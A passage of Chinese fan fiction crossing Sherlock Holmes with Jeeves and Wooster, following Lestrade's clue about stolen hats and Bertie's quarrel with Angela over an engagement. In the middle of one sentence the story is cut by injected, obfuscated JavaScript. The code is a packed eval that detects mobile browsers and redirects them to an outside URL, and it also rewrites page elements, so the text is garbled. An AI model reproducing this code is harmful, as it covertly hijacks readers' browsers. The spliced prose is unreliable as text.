“但伍斯特先生又不是他的雇主，迈克罗夫特才是。” “事关职业操守，还有他们男仆内部某些约定俗成之类的。我只好转而给迈克罗夫特拍电报，不过还没有回音。” 我们谈话时，雷斯垂德终于缓过神来，对我们露出劫后余生的微笑。他从怀里摸出一张纸：“至少我脑子还没有吓糊涂，那家伙逃走时，不慎把这东西落下了。” 福尔摩斯立刻兴奋地搓了搓手，他兴致勃勃地抓过纸张，细长苍白的手指反复摩挲着，拿到灯光下仔细观察。 “这上面画着的图案，我认为就是那群强盗在找的东西，可能是古董之类的，很有可能就在斯威登老先生的店里，因为我把这幅画给他看时，他吓得连连否认自己藏有这么个东西。” 我凑到福尔摩斯身边，只看到了一团乱麻。那图案有个圆形的外廓，可能是个盘子、金币或珐琅瓷器，里面则是毫无规律的线条和畸形的涂鸦，拿远了看，好似有个丑恶的面孔在瞪着我。 我对这东西嗤之以鼻，可福尔摩斯似乎着了迷，眼睛一眨不眨地盯着它，仿佛有几分饥渴的向往之色。 我推了推他，他忽然把纸团起来扔进烟灰缸里，纸张在没干透的水中浸湿了。 他揉揉鼻梁，对我打了个手势叫我继续。 “福尔摩斯，我们是不是该把店主保护起来，防止强盗再次出现？”我问道。 他没有回答这个问题，对雷斯垂德道：“你刚才说他们出城了？这种来自意大利的纸非常高级，英国只有一个厂家在售卖，我们可以通过这条线索，找到伍斯特先生现在的住址。” 我在之前的篇章《蓝宝石案》里记载过福尔摩斯是如何巧妙地同店员套话的，这里我不再赘述。总之，等上午的阳光将笼罩在探长身上的恐惧吹散后，我们得到了那张纸的来源信息：伍斯特郡斯诺兹伯里市场外的乡间别墅，布林克里宅邸。 “雷斯垂德，你去一趟伍斯特郡，继续追查那伙强盗。而华生，我们俩等午饭后到古董店走一趟。” “你认为他们得手了吗？”探长问，“如果没得手，他们不会跑到乡下去，应该还留在伦敦。但我看店主的样子，不像是宝贵之物已经被人偷走的模样。” “重点不在于赃物，雷斯垂德。”福尔摩斯故意用手扶了扶帽檐，“我不认为伍斯特先生会大费周章觊觎所谓的古董，不，那只是西班牙强盗的目的。你放心，盗窃案很快就能解决，但这不意味着你就安全了。” 可怜的雷斯垂德又被吓到了。 “很多连环杀手都有保留纪念品的怪癖。”几分可以称得上是“邪恶”的笑容出现在福尔摩斯嘴角，“波兰的尤瑟比乌斯·皮乔基会剪下受害者的头发藏在箱子里，著名的开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283853|198395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膛手杰克会带走死者的子宫、肾脏等器官。还有最常见的一种，保留受害者的衣服、饰品，例如牙买加的路易斯·哈钦森，德国的盖谢·戈特弗里德和弗里茨·哈曼……” 他每点出一个名字，雷斯垂德的脸色就惨白一分，终于他的害怕触及到底线，反而鼓起了巨大的勇气。 “好吧！”他用手摸了下放手枪的位置，“我倒要瞧瞧伍斯特先生抢我的帽子是不是为了把我杀死！” “那就要看你在布林克里宅邸有没有发现更多帽子了。”我亲爱的朋友继续调侃道。 虽然吓唬雷斯垂德很不道德，但一个想法闪进我的脑海，我也忍不住添油加醋：“说不定你某天晚上回到家里，看见被抢走的帽子就摆在床头。墙上还用颜料写着警告，什么‘我来去自由’、“下一个就是你”之类的。” 福尔摩斯终于爆发出悦耳的大笑，拍了拍面如菜色探长的肩膀：“好了，我们在此分头行动吧，雷斯垂德。如果你真的在房间里拿到失落的帽子，再来找我们。” ****** ****** 一整个早上，达利娅姑妈都对我怒目而视，我自觉心虚，也不敢招惹她。休息过后，我打算去找安吉拉表妹吹吹牛，却在她那里听到了糟糕的消息。 “你要和塔皮解除婚约？”我咂舌道，“这可不行，你们的事已经如同福音真理一般，怎么好解除？” “如果你昨晚有来餐厅吃晚饭，就会看见塔皮·格罗索普上蹿下跳使出浑身解数只为了博得美人一笑。那西班牙小妞和他一直眉来眼去，我都看在眼里。” “这、这不可能。”我结巴道，“能在瓦伦蒂娜小姐脸上看到表情才是件稀罕事。” 她扭过头去不理我。 我指天发誓塔皮绝对和瓦伦蒂娜小姐没有未来，叫她好好冷静冷静，仔细考虑自己的选择。汤姆姑父神志不清，达利娅姑妈又因为金币没偷到而气上心头，如果她和塔皮再闹矛盾，这个家就彻底没救了。 “说得轻巧，你自己招惹来的麻烦，怎么推给别人呢？”她斜睨我一眼，“让我忍受塔皮也行，你先把那女的引走。” “什么引走？” “你的相亲对象，自然要你亲自下场。” “噢，不！”我大叫道，“你想把我推入火海？安吉拉亲爱的，你的小脑瓜里藏着这么可怕的念头？我早就和你说过，自从和玛德琳·巴塞特、霍诺瑞亚·格罗索普、弗洛伦斯·克雷等姑娘反复订婚后，我就时刻与女性保持距离。如果不是阿加莎姑妈——” “是啊，阿加莎姨妈叫你结婚，不是吗？”她捂住耳朵不听我的抗议，“你就听她话行了呗？” 福至心灵，我忽然想起吉福斯的话：“但吉福斯说他们不是真正的贵族，我不必遵从阿加莎姑妈的指示。” 安吉拉翻了个白眼：“他撒谎。吉福斯当然不想你结婚，傻伯蒂，没有贴身男仆希望自己的主人结婚。‘妻子从前门进来，男仆从后门出去。’你要是全听他的，你就是上了当了。”